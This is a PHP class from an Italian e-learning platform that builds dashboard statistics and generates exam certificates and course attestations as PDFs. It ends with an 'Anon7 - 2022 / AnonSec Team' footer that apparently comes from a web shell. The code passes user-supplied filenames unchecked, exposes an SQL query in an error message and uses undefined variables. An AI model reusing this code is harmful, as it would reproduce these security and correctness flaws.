	/* ---------------------------------------- */

	function getHomeTopCards()
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		// $query = "SELECT COUNT(*) AS numero_ordini FROM centri_ordini WHERE id_user = $id_centro AND id_user_affiliato = $id_user_affiliato AND prezzo < 0;"; 
		// $numero_ordini= $this->db->SafeFetchOne($query);	
		//$query = "SELECT SUM(centri_ordini.prezzo) AS totale_acquisti FROM centri_ordini WHERE centri_ordini.id_user = $id_centro AND prezzo > 0;"; 
		$query = "SELECT COUNT(*) AS corsi FROM iscrizioni_studenti_corsi WHERE id_user = $id_user";// AND prezzo < 0;"; 
		$n = $this->db->SafeFetchOne($query);
		$query = "SELECT COUNT(*) AS seguiti FROM corso_lezione_studente WHERE id_user = $id_user AND time_check = 1 AND quiz_check=1";// AND prezzo < 0;"; 
		$t = $this->db->SafeFetchOne($query);
		$query = "SELECT COUNT(*) AS superati FROM corso_esame_studente WHERE id_user = $id_user AND superato = 1";// AND prezzo < 0;"; 
		$s = $this->db->SafeFetchOne($query);
		$toRet = ["corsi" => $n['corsi'], "superati" => $s['superati'], "seguiti" => $t['seguiti']];
		return $this->printMessage($this->responseMessage($toRet, true));
	}

	function getHomeProfileExpance()
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_user_affiliato = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$toRet = ["affiliati" => []];
		for ($k = 0; $k < 12; $k++) {
			$toRet['affiliati'][$k] = 0;
		}


		$query = "SELECT YEAR(create_time) AS anno, MONTH(create_time) AS mese,	COUNT(*) AS numero_utenti FROM user
					WHERE id_centro = $id_centro AND id_affiliato = $id_user_affiliato AND YEAR(create_time) = YEAR(CURDATE())	GROUP BY YEAR(create_time), MONTH(create_time) ORDER BY mese;";
		$clienti_inseriti_centro = $this->db->SafeFetch($query);
		for ($ik = 0; $ik < count($clienti_inseriti_centro); $ik++) {
			$toRet['affiliati'][($clienti_inseriti_centro[$ik]['mese'] - 1)] = intVal($clienti_inseriti_centro[$ik]['numero_utenti']);
		}
		return $this->printMessage($this->responseMessage($toRet, true));
	}

	function getHomeProductSales()
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_user_affiliato = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$toRet = ["dati" => [], "label" => []];
		$query = "SELECT YEAR(create_time) AS anno, COUNT(*) AS numero_utenti FROM user WHERE id_centro = $id_centro AND id_affiliato = $id_user_affiliato GROUP BY YEAR(create_time) ORDER BY anno;";
		$numero_utenti = $this->db->SafeFetch($query);
		for ($k = 0; $k < count($numero_utenti); $k++) {
			$toRet['dati'][$k] = $numero_utenti[$k]['numero_utenti'];
			$toRet['label'][$k] = $numero_utenti[$k]['anno'];
		}

		return $this->printMessage($this->responseMessage($toRet, true));
	}


	function getFilesUtentePrivate()
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$res = $this->getListaFilePrivate('user', $id_centro);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getFileCentro($filename)
	{
		$res = $this->getFile('public', "centro", $filename);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getFileUtentePrivate($filename)
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$res = $this->getFile('user', $id_centro, $filename);
		return $this->printMessage($this->responseMessage($res, true));
	}



	public function getCertificato($_id_esame, $_id_iscrizione)
	{
		$id_esame = $this->db->quoteInt($_id_esame);
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$dominio = explode(".", $_SERVER['HTTP_HOST'])[1];
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);
		$path = $_SERVER['DOCUMENT_ROOT'] . "/../";


		// $idcentro = $_SESSION["userdata"]['idcentro'];
		// $path_logo = "/var/www/ascii/generator_pdf/loghi_centri/".$idcentro.".png";
		// $codice_centro= "ETC-".$utente['idcentro']."IT";  
		// $nome_file_certificato= "certificato_".$codice_centro."_"."TEST";

		//copio logo centro per generazione
		// unlink($path_tmp."media/image1.png");
		// copy($path_logo, $path_tmp."media/image1.png");

		//recupero i dati del certificato
		$query = "SELECT * FROM iscrizioni_studenti_esami WHERE id_user = $id_user AND id_esame = $id_esame AND id_iscrizione=$id_iscrizione;";
		$res_esito = $this->db->SafeFetchOne($query);
		//recupero i dati del certificato
		$query = "SELECT * FROM corso_esame WHERE id_esame = $id_esame;";
		$res_esame = $this->db->SafeFetchOne($query);

		$id_centro = $this->db->quoteInt($res_esame['id_centro']);
		//recupero i nomi dei moduli
		$query = "SELECT GROUP_CONCAT(titolo SEPARATOR ', ') AS titoli FROM corso_esame_modulo WHERE id_esame = $id_esame;";
		$res_moduli = $this->db->SafeFetchOne($query);
		//recupero i dati del certificato
		$query = "SELECT * FROM user LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user WHERE user.id_user = $id_user;";
		$res_profilo = $this->db->SafeFetchOne($query);

		//verifiche
		if ($res_esito['esito'] != 1) {
			return $this->printMessage($this->responseMessage("Non è possibile generare il certificato, l'esame non è stato superato!", false));
		}



		//recupero le configurazioni del certificato
		$query = "SELECT * FROM certificato WHERE id_centro = $id_centro AND id_esame = $id_esame;";
		$res_conf = $this->db->SafeFetchOne($query);
		//se non esiste il certificato specifico per l'esame prendo quello del centro
		if (!$res_conf) {
			//recupero le configurazioni del certificato del centro
			return $this->printMessage($this->responseMessage("Non è possibile generare il certificato, il centro non ha ancora fornito il certificato, contatta la segreteria!" . $query, false));
		} else {
			$cnfg = json_decode($res_conf['configurazione']);
			//{"folder_name":"it-pass-certificato", "url_qr_code_image":"media/image1.png"};
			$folder_name = $cnfg->folder_name;
			$path_word = $path . "generator_pdf/esami/$dominio/" . $folder_name . "/word/";
			$path_tmp = $path . "generator_pdf/esami/$dominio/tmp_" . $folder_name . "/word/";
			$url_qr_code_image = $path_word . $cnfg->url_qr_code_image;
			$url_tmp_qr_code_image = $path_tmp . $cnfg->url_qr_code_image;
		}


		if ($res_esito['codice_certificato'] != null) {
			$this->getFile("user", $id_user, $res_esito['file_cert']);
		}
		$codice_certificato = "C-" . $id_user . "-" . $id_esame . "-" . $this->generatePassword($id_user . $id_esame);
		$nome_file_certificato = $codice_certificato;
		//imposto i dati del certificato
		$cognome_nome = strtoupper($res_profilo['cognome'] . " " . $res_profilo['nome']);
		$_data_nascita = explode("-", $res_profilo['datanascita']);
		$data_nascita = $_data_nascita[2] . "/" . $_data_nascita[1] . "/" . $_data_nascita[0];
		$codice_fiscale = $res_profilo['cdf'];
		$titolo_esame = $res_esame['titolo'];
		$sottotitolo_esame = $res_esame['categoria'];
		$__data_esame = explode(" ", $res_esito['data_esito']);
		$_data_esame = explode("-", $__data_esame[0]);
		$data_esame = $_data_esame[2] . "/" . $_data_esame[1] . "/" . $_data_esame[0];
		$moduli_esame = $res_moduli['titoli'];


		//imposto il link di verifica
		$link_verifica_certificato = $_SERVER['HTTP_HOST'] . "/authentication/verifica-certificato/c/" . $codice_certificato;

		//imposto il nome del file
		$documento = $path_word . "document.xml";
		$documento_tmp = $path_tmp . "document.xml";
		//recupero il contenuto del file
		$doc = file_get_contents($documento);
		if (!$doc) {
			return $this->printMessage($this->responseMessage("Errore nella generazione del certificato, template non caricato! Doc: " . $documento, false));
		}
		$i = 0;
		while (strpos($doc, "{{") > -1 || strpos($doc, "{{") >= strlen($doc)) {
			if ($i > 10000) {
				break;
			}
			$i++;
			$g_start = strpos($doc, "{{");
			$g_end = strpos($doc, "}}");
			$da_sostituire = substr($doc, $g_start, $g_end - $g_start + 2);
			//prendo solo maiuscole e underscore

			// Rimuove tutti i tag XML o HTML
			$parola_chiave = strip_tags($da_sostituire);

			// Elimina anche eventuali caratteri di controllo, spazi e a capo
			$parola_chiave = preg_replace('/\s+/', '', $parola_chiave);

			// Mantiene solo lettere maiuscole e underscore
			$parola_chiave = "{{" . preg_replace('/[^A-Z_]/', '', $parola_chiave) . "}}";

			switch ($parola_chiave) {
				case "{{COGNOME_NOME}}":
					$doc = str_replace($da_sostituire, $cognome_nome, $doc);
					break;
				case "{{DATA_NASCITA}}":
					$doc = str_replace($da_sostituire, $data_nascita, $doc);
					break;
				case "{{CODICE_FISCALE}}":
					$doc = str_replace($da_sostituire, $codice_fiscale, $doc);
					break;
				case "{{TITOLO_ESAME}}":
					$doc = str_replace($da_sostituire, $titolo_esame, $doc);
					break;
				case "{{SOTTOTITOLO_ESAME}}":
					$doc = str_replace($da_sostituire, $sottotitolo_esame, $doc);
					break;
				case "{{TITOLO_CORSO}}":
					$doc = str_replace($da_sostituire, $titolo_esame, $doc);
					break;
				case "{{SOTTOTITOLO_CORSO}}":
					$doc = str_replace($da_sostituire, $sottotitolo_esame, $doc);
					break;
				case "{{MODULI_ESAME}}":
					$doc = str_replace($da_sostituire, $moduli_esame, $doc);
					break;
				case "{{MODULI_CORSO}}":
					$doc = str_replace($da_sostituire, $moduli_esame, $doc);
					break;
				case "{{DATA_ESAME}}":
					$doc = str_replace($da_sostituire, $data_esame, $doc);
					break;
				case "{{DATA_CORSO}}":
					$doc = str_replace($da_sostituire, $data_esame, $doc);
					break;
				case "{{CODICE_ATTESTATO}}":
					$doc = str_replace($da_sostituire, $codice_attestato, $doc);
					break;
				case "{{CODICE_CERTIFICATO}}":
					$doc = str_replace($da_sostituire, $codice_certificato, $doc);
					break;
				//	default: $doc = str_replace($da_sostituire, "", $doc);break;
			}
		}
		//sostituisco i dati nel certificato
		// $doc = str_replace("{{COGNOME_NOME}}", $cognome_nome, $doc);
		// $doc = str_replace("{{DATA_NASCITA}}", $data_nascita, $doc);
		// $doc = str_replace("{{CODICE_FISCALE}}", $codice_fiscale, $doc);
		// $doc = str_replace("{{TITOLO_ESAME}}", $titolo_esame, $doc);
		// $doc = str_replace("{{SOTTOTITOLO_ESAME}}", $sottotitolo_esame, $doc);
		// $doc = str_replace("{{TITOLO_CORSO}}", $titolo_esame, $doc);
		// $doc = str_replace("{{SOTTOTITOLO_CORSO}}", $sottotitolo_esame, $doc);
		// $doc = str_replace("{{MODULI_ESAME}}", $moduli_esame, $doc);
		// $doc = str_replace("{{DATA_ESAME}}", $data_esame, $doc);
		// $doc = str_replace("{{DATA_CORSO}}", $data_esame, $doc);
		// $doc = str_replace("{{CODICE_CERTIFICATO}}", $codice_certificato, $doc);

		//genero codice qr
		$pathQrCode = $path . "app/resources/phpqrcode/qrlib.php";
		require_once($pathQrCode);
		unlink($url_tmp_qr_code_image);
		QRcode::png($link_verifica_certificato, $url_tmp_qr_code_image, "H", "300", "2");
		chown($url_tmp_qr_code_image, "ec2-user");
		chmod($url_tmp_qr_code_image, 0775);

		//rimuovo old doc
		unlink($documento_tmp);

		//aggiungo a certificato tmp
		file_put_contents($documento_tmp, $doc);
		chown($documento_tmp, "ec2-user");
		chmod($documento_tmp, 0775);


		//zip
		// Enter the name of directory 
		$pathdir = $path . "generator_pdf/esami/" . $dominio . "/tmp_" . $folder_name . "/";

		// Enter the name to creating zipped directory 
		$zipcreated = $path . "generator_pdf/esami/" . $dominio . "/" . $nome_file_certificato . ".zip";
		$wordrename = $path . "generator_pdf/esami/" . $dominio . "/" . $nome_file_certificato . ".docx";
		$pdfrename = $path . "generator_pdf/esami/" . $dominio . "/" . $nome_file_certificato . ".pdf";



		if (!parent::zippami($pathdir, $zipcreated)) {
			return $this->printMessage($this->responseMessage("Errore nella generazione del certificato zip, si prega di riprovare!", false));
		}

		rename($zipcreated, $wordrename);

		chown($wordrename, "ec2-user");
		chmod($wordrename, 0775);

		unlink($nome_file_certificato . ".zip");
		//genera pdf
		include SITEROOT_DIR . '/app/helpers/converterPdf.php';

		$converter = new OfficeConverter($wordrename, null, $path . "generator_pdf/libreoffice/program/soffice.bin");
		$converter->convertTo($pdfrename); //generates pdf file in same directory as test-file.docx
		//	$converter->convertTo('output-file.html'); //generates html file in same directory as test-file.docx

		//to specify output directory, specify it as the second argument to the constructor
		//	$converter = new OfficeConverter($wordrename, $pathdir);

		chown($pdfrename, "ec2-user");
		chmod($pdfrename, 0775);

		if (!$converter) {
			echo "Errore in conversione";
			die;
		}
		unlink($wordrename);

		//upload s3
		$url = $this->putFileS3Private("user", $id_user, $pdfrename);

		if ($url) {
			$_url_save = end(explode("/", $url));
			$url_save = explode("?", $_url_save)[0];
			$query = "UPDATE iscrizioni_studenti_esami SET codice_certificato = '" . $codice_certificato . "', file_cert= '" . $url_save . "' WHERE id_user = $id_user AND id_esame = $id_esame AND id_iscrizione=$id_iscrizione;";
			if ($this->db->SafeExec($query)) {
				unlink($pdfrename);
				$this->getFile("user", $id_user, $url_save);
			} else {
				return $this->printMessage($this->responseMessage("Errore nella generazione del certificato, si prega di riprovare!", false));
			}
		} else {
			return $this->printMessage($this->responseMessage("Errore nella generazione del certificato, si prega di riprovare!", false));
		}

	}

	public function getAttestato($_id_corso, $_id_iscrizione)
	{
		$id_corso = $this->db->quoteInt($_id_corso);
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);

		$dominio = explode(".", $_SERVER['HTTP_HOST'])[1];

		//le path
		$folder_name = "it-pass-attestato";
		$path = $_SERVER['DOCUMENT_ROOT'] . "/../";
		$path_word = $path . "generator_pdf/corsi/" . $dominio . "/" . $folder_name . "/word/";
		$path_tmp = $path . "generator_pdf/corsi/" . $dominio . "/tmp_" . $folder_name . "/word/";
		$url_qr_code_image = $path_word . "media/image1.png";
		$url_tmp_qr_code_image = $path_tmp . "media/image1.png";

		// $idcentro = $_SESSION["userdata"]['idcentro'];
		// $path_logo = "/var/www/ascii/generator_pdf/loghi_centri/".$idcentro.".png";
		// $codice_centro= "ETC-".$utente['idcentro']."IT";  
		// $nome_file_certificato= "certificato_".$codice_centro."_"."TEST";

		//copio logo centro per generazione
		// unlink($path_tmp."media/image1.png");
		// copy($path_logo, $path_tmp."media/image1.png");

		//recupero i dati del certificato
		$query = "SELECT * FROM iscrizioni_studenti_corsi WHERE id_user = $id_user AND id_corso = $id_corso AND id_iscrizione=$id_iscrizione;";
		$res_esito = $this->db->SafeFetchOne($query);
		//recupero i dati del certificato
		$query = "SELECT * FROM corso WHERE id_corso = $id_corso;";
		$res_esame = $this->db->SafeFetchOne($query);
		$id_centro = $this->db->quoteInt($res_esame['id_centro']);
		//recupero i nomi dei moduli
		$query = "SELECT GROUP_CONCAT(titolo SEPARATOR ', ') AS titoli FROM corso_lezione WHERE id_corso = $id_corso;";
		$res_moduli = $this->db->SafeFetchOne($query);
		//recupero i dati del certificato
		$query = "SELECT * FROM user LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user WHERE user.id_user = $id_user;";
		$res_profilo = $this->db->SafeFetchOne($query);

		//verifiche
		if ($res_esito['seguito'] != 1) {
			return $this->printMessage($this->responseMessage("Non è possibile generare l'attestato, il corso non è stato completato!", false));
		}


		//recupero le configurazioni del certificato
		$query = "SELECT * FROM attestato WHERE id_centro = $id_centro AND id_esame = $id_esame;";
		$res_conf = $this->db->SafeFetchOne($query);
		//default

		if (!$res_conf) {
			//default
			return $this->printMessage($this->responseMessage("Non è possibile generare il certificato, il centro non ha ancora fornito il certificato, contatta la segreteria!", false));
		} else {
			$cnfg = json_decode($res_conf['configurazione']);
			//{"folder_name":"it-pass-certificato", "url_qr_code_image":"media/image1.png"};
			$folder_name = $cnfg->folder_name;
			$path_word = $path . "generator_pdf/corsi/" . $dominio . "/" . $folder_name . "/word/";
			$path_tmp = $path . "generator_pdf/corsi/" . $dominio . "/tmp_" . $folder_name . "/word/";
			$url_qr_code_image = $path_word . $cnfg->url_qr_code_image;
			$url_tmp_qr_code_image = $path_tmp . $cnfg->url_qr_code_image;
		}

		if ($res_esito['codice_attestato'] != null) {
			$this->getFile("user", $id_user, $res_esito['file_att']);
		}
		$codice_certificato = "A-" . $id_user . "-" . $id_corso . "-" . $this->generatePassword($id_user . $id_corso);
		$nome_file_certificato = $codice_certificato;
		//imposto i dati del certificato
		$cognome_nome = strtoupper($res_profilo['cognome'] . " " . $res_profilo['nome']);
		$_data_nascita = explode("-", $res_profilo['datanascita']);
		$data_nascita = $_data_nascita[2] . "/" . $_data_nascita[1] . "/" . $_data_nascita[0];
		$codice_fiscale = $res_profilo['cdf'];
		$titolo_esame = $res_esame['titolo'];
		$sottotitolo_esame = $res_esame['categoria'];
		$__data_esame = explode(" ", $res_esito['data_seguito']);
		$_data_esame = explode("-", $__data_esame[0]);
		$data_esame = $_data_esame[2] . "/" . $_data_esame[1] . "/" . $_data_esame[0];
		$moduli_esame = $res_moduli['titoli'];


		//imposto il link di verifica
		$link_verifica_certificato = $_SERVER['HTTP_HOST'] . "/authentication/verifica-certificato/a/" . $codice_certificato;

		//imposto il nome del file
		$documento = $path_word . "document.xml";
		$documento_tmp = $path_tmp . "document.xml";
		//recupero il contenuto del file
		$doc = file_get_contents($documento);
		if (!$doc) {
			return $this->printMessage($this->responseMessage("Errore nella generazione dell'attestato, template non caricato!", false));
		}

		// //sostituisco i dati nel certificato
		// $doc = str_replace("{{COGNOME_NOME}}", $cognome_nome, $doc);
		// $doc = str_replace("{{DATA_NASCITA}}", $data_nascita, $doc);
		// $doc = str_replace("{{CODICE_FISCALE}}", $codice_fiscale, $doc);
		// $doc = str_replace("{{TITOLO_CORSO}}", $titolo_esame, $doc);
		// $doc = str_replace("{{SOTTOTITOLO_CORSO}}", $sottotitolo_esame, $doc);
		// $doc = str_replace("{{TITOLO ESAME}}", $titolo_esame, $doc);
		// $doc = str_replace("{{TITOLO_ESAME}}", $titolo_esame, $doc);
		// $doc = str_replace("{{SOTTOTITOLO_ESAME}}", $sottotitolo_esame, $doc);
		// $doc = str_replace("{{MODULI_CORSO}}", $moduli_esame, $doc);
		// $doc = str_replace("{{DATA_COMPLETAMENTO}}", $data_esame, $doc);
		// $doc = str_replace("{{CODICE_CERTIFICATO}}", $codice_certificato, $doc);
		// $doc = str_replace("{{CODICE_ATTESTATO}}", $codice_certificato, $doc);
		$i = 0;
		while (strpos($doc, "{{") > -1 || strpos($doc, "{{") >= strlen($doc)) {
			if ($i > 10000) {
				break;
			}
			$i++;
			$g_start = strpos($doc, "{{");
			$g_end = strpos($doc, "}}");
			$da_sostituire = substr($doc, $g_start, $g_end - $g_start + 2);
			//prendo solo maiuscole e underscore

			// Rimuove tutti i tag XML o HTML
			$parola_chiave = strip_tags($da_sostituire);

			// Elimina anche eventuali caratteri di controllo, spazi e a capo
			$parola_chiave = preg_replace('/\s+/', '', $parola_chiave);

			// Mantiene solo lettere maiuscole e underscore
			$parola_chiave = "{{" . preg_replace('/[^A-Z_]/', '', $parola_chiave) . "}}";

			switch ($parola_chiave) {
				case "{{COGNOME_NOME}}":
					$doc = str_replace($da_sostituire, $cognome_nome, $doc);
					break;
				case "{{DATA_NASCITA}}":
					$doc = str_replace($da_sostituire, $data_nascita, $doc);
					break;
				case "{{CODICE_FISCALE}}":
					$doc = str_replace($da_sostituire, $codice_fiscale, $doc);
					break;
				case "{{TITOLO_ESAME}}":
					$doc = str_replace($da_sostituire, $titolo_esame, $doc);
					break;
				case "{{SOTTOTITOLO_ESAME}}":
					$doc = str_replace($da_sostituire, $sottotitolo_esame, $doc);
					break;
				case "{{TITOLO_CORSO}}":
					$doc = str_replace($da_sostituire, $titolo_esame, $doc);
					break;
				case "{{SOTTOTITOLO_CORSO}}":
					$doc = str_replace($da_sostituire, $sottotitolo_esame, $doc);
					break;
				case "{{MODULI_ESAME}}":
					$doc = str_replace($da_sostituire, $moduli_esame, $doc);
					break;
				case "{{MODULI_CORSO}}":
					$doc = str_replace($da_sostituire, $moduli_esame, $doc);
					break;
				case "{{DATA_ESAME}}":
					$doc = str_replace($da_sostituire, $data_esame, $doc);
					break;
				case "{{DATA_CORSO}}":
					$doc = str_replace($da_sostituire, $data_esame, $doc);
					break;
				case "{{CODICE_ATTESTATO}}":
					$doc = str_replace($da_sostituire, $codice_certificato, $doc);
					break;
				case "{{CODICE_CERTIFICATO}}":
					$doc = str_replace($da_sostituire, $codice_certificato, $doc);
					break;
				default:
					$doc = str_replace($da_sostituire, "", $doc);
					break;
			}
		}

		//genero codice qr
		$pathQrCode = $path . "app/resources/phpqrcode/qrlib.php";
		require_once($pathQrCode);
		unlink($url_tmp_qr_code_image);
		QRcode::png($link_verifica_certificato, $url_tmp_qr_code_image, "H", "300", "2");
		chown($url_tmp_qr_code_image, "ec2-user");
		chmod($url_tmp_qr_code_image, 0775);

		//rimuovo old doc
		unlink($documento_tmp);

		//aggiungo a certificato tmp
		file_put_contents($documento_tmp, $doc);
		chown($documento_tmp, "ec2-user");
		chmod($documento_tmp, 0775);


		//zip
		// Enter the name of directory 
		$pathdir = $path . "generator_pdf/tmp_" . $folder_name . "/";

		// Enter the name to creating zipped directory 
		$zipcreated = $path . "generator_pdf/corsi/" . $dominio . "/" . $nome_file_certificato . ".zip";
		$wordrename = $path . "generator_pdf/corsi/" . $dominio . "/" . $nome_file_certificato . ".docx";
		$pdfrename = $path . "generator_pdf/corsi/" . $dominio . "/" . $nome_file_certificato . ".pdf";



		if (!parent::zippami($pathdir, $zipcreated)) {
			return $this->printMessage($this->responseMessage("Errore nella generazione dell'attestato zip, si prega di riprovare!", false));
		}

		rename($zipcreated, $wordrename);

		chown($wordrename, "ec2-user");
		chmod($wordrename, 0775);

		unlink($nome_file_certificato . ".zip");
		//genera pdf
		include SITEROOT_DIR . '/app/helpers/converterPdf.php';

		$converter = new OfficeConverter($wordrename, null, $path . "generator_pdf/libreoffice/program/soffice.bin");
		$converter->convertTo($pdfrename); //generates pdf file in same directory as test-file.docx
		//	$converter->convertTo('output-file.html'); //generates html file in same directory as test-file.docx

		//to specify output directory, specify it as the second argument to the constructor
		//	$converter = new OfficeConverter($wordrename, $pathdir);

		chown($pdfrename, "ec2-user");
		chmod($pdfrename, 0775);

		if (!$converter) {
			echo "Errore in conversione";
			die;
		}
		unlink($wordrename);

		//upload s3
		$url = $this->putFileS3Private("user", $id_user, $pdfrename);

		if ($url) {
			$_url_save = end(explode("/", $url));
			$url_save = explode("?", $_url_save)[0];
			$query = "UPDATE iscrizioni_studenti_corsi SET codice_attestato = '" . $codice_certificato . "', file_att= '" . $url_save . "' WHERE id_user = $id_user AND id_corso = $id_corso AND id_iscrizione = $id_iscrizione;";
			if ($this->db->SafeExec($query)) {
				unlink($pdfrename);
				$this->getFile("user", $id_user, $url_save);
			} else {
				return $this->printMessage($this->responseMessage("Errore nella generazione dell'attestato, si prega di riprovare!", false));
			}
		} else {
			return $this->printMessage($this->responseMessage("Errore nella generazione dell'attestato, si prega di riprovare!", false));
		}

	}

	function aggiornaBlocco()
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$q = "UPDATE user SET "
			. "bloccato_fino_al = NOW() "
			. "WHERE id_user = $id_user;";
		//SET StartTime = DATEADD(minute,240,StartTime)
		if ($this->db->SafeExec($q)) {
			return $this->printMessage($this->responseMessage("Aggiornamento effettuato con successo.", true));
		} else {
			return $this->printMessage($this->responseMessage("Aggiornamento non effettuato!", true));
		}
	}

}
?>

Anon7 - 2022
AnonSec Team